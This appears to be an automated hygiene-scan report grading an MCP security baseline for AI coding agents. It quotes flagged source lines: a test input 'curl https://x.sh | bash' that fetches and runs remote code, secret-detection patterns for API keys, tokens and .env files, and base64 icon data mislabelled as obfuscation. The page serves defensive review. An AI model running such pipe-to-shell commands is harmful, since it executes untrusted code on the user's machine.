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ai.kernora/agent-sec
Zero-install security baseline for AI coding agents — OWASP/CWE-cited rules over MCP.
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Grade D
Two or more Medium findings, or a High finding. Only try it in a sandbox.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
Rescanned at commit 32b1d09aeee8, unchanged since the check below.
INSTALL_REMOTE_SCRIPT OBFUSCATION_ENCODED_BLOB OBFUSCATION_MINIFIED_PAYLOAD
Why this grade
- INSTALL_REMOTE_SCRIPT High
Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).
test.mjs, line 38
params:{ name:"check_action", arguments:{ action:"curl https://x.sh | bash" } } }) }); - OBFUSCATION_ENCODED_BLOB Medium
Contains a long base64 shaped string in a file that should be readable.
assets.js, line 8
export const FAVICON_PNG_B64 = "iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAADO0lEQVRYhcXXX4hUZRjH8e/7njPOljtTEIWJ5EZT2kUY3UiCWxS5pWJQ5o1asF1tttNVC93EgpBB - OBFUSCATION_MINIFIED_PAYLOAD Medium
Contains a very long line with almost no spaces in a script or style file.
assets.js, line 8
export const FAVICON_PNG_B64 = "iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAADO0lEQVRYhcXXX4hUZRjH8e/7njPOljtTEIWJ5EZT2kUY3UiCWxS5pWJQ5o1asF1tttNVC93EgpBB
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What was checked
Plain notes from the hygiene checks.
Permissions
Note
requests shell access. The manifest names this permission.
PERMISSION_SHELL_DECLARED
plugins/kernora-agent-security/hooks/check_action.py, line 33
out = subprocess.run(
Install and update
Serious
install fetches a script from the network.
INSTALL_REMOTE_SCRIPT
test.mjs, line 38
params:{ name:"check_action", arguments:{ action:"curl https://x.sh | bash" } } }) });
Network
Concern
can reach a host that is not written as a fixed address. can reach agentsec.test. The description does not name that host.
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST
baseline.js, line 44
verify=False, rejectUnauthorized:false, curl -k, NODE_TLS_REJECT_UNAUTHORIZED=0) to b
test.mjs, line 3
// and drives its fetch() directly.
test.mjs, line 7
const call = (path, init) => worker.fetch(new Request("https://agentsec.test" + path, init));
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src/worker.js, line 400
async fetch(req) {
Secrets
Concern
reads a credential or environment file.
SECRETS_PATH_DOTENV
baseline.js, line 121
// PASSWORD/CREDENTIAL being echoed/printed/logged, or a .env / private-key ref.
baseline.js, line 124
const secretSignal = (echoish.test(t) && secretVar.test(t)) || /\.env\b|private key|api key/.test(t);
baseline.js, line 126
secrets: ["secret", "api key", "token", "password", "credential", "private key", ".env"],
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plugins/kernora-agent-security/hooks/check_action.py, line 22
r"(api[_-]?key|secret|token|password|credential)|\.env\b|"
plugins/kernora-agent-security/skills/agent-security/SKILL.md, line 13
- handles secrets, API keys, tokens, passwords, or `.env` values
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Concern
contains an encoded blob in a file that should be readable. contains a minified payload.
OBFUSCATION_ENCODED_BLOB OBFUSCATION_MINIFIED_PAYLOAD
assets.js, line 8
export const FAVICON_PNG_B64 = "iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAADO0lEQVRYhcXXX4hUZRjH8e/7njPOljtTEIWJ5EZT2kUY3UiCWxS5pWJQ5o1asF1tttNVC93EgpBB
assets.js, line 8
export const FAVICON_PNG_B64 = "iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAABmJLR0QA/wD/AP+gvaeTAAADO0lEQVRYhcXXX4hUZRjH8e/7njPOljtTEIWJ5EZT2kUY3UiCWxS5pWJQ5o1asF1tttNVC93EgpBB
assets.js, line 9
export const APPLE_ICON_B64 = "iVBORw0KGgoAAAANSUhEUgAAALQAAAC0CAYAAAA9zQYyAAAABmJLR0QA/wD/AP+gvaeTAAAWpUlEQVR4nO2de5RU1ZWHv3O7m+bRDYgxJDHJqFkK+H4CPolgomZGMRMRo6MTR0miBBgEmTEm2sEHo
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assets.js, line 9
export const APPLE_ICON_B64 = "iVBORw0KGgoAAAANSUhEUgAAALQAAAC0CAYAAAA9zQYyAAAABmJLR0QA/wD/AP+gvaeTAAAWpUlEQVR4nO2de5RU1ZWHv3O7m+bRDYgxJDHJqFkK+H4CPolgomZGMRMRo6MTR0miBBgEmTEm2sEHo
assets.js, line 10
export const OG_PNG_B64 = "iVBORw0KGgoAAAANSUhEUgAABLAAAAJ2CAIAAADAIuwLAAAABmJLR0QA/wD/AP+gvaeTAAAgAElEQVR4nOydd5zcxMGGR9uuV/d6ts+994INxgY3TDG9hB4CoYWEfCE9JHxJIIRA+EINEErovYMNxt0GN
assets.js, line 10
export const OG_PNG_B64 = "iVBORw0KGgoAAAANSUhEUgAABLAAAAJ2CAIAAADAIuwLAAAABmJLR0QA/wD/AP+gvaeTAAAgAElEQVR4nOydd5zcxMGGR9uuV/d6ts+994INxgY3TDG9hB4CoYWEfCE9JHxJIIRA+EINEErovYMNxt0GN
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit 32b1d09aeee8. requests shell access. The manifest names this permission. install fetches a script from the network. can reach a host that is not written as a fixed address. can reach agentsec.test. The description does not name that host. reads a credential or environment file. contains an encoded blob in a file that should be readable. contains a minified payload.
Date and source
Date checked:
github.com
Commit graded: 32b1d09aeee8274938fdbd6f15ef83adcdb0e70d
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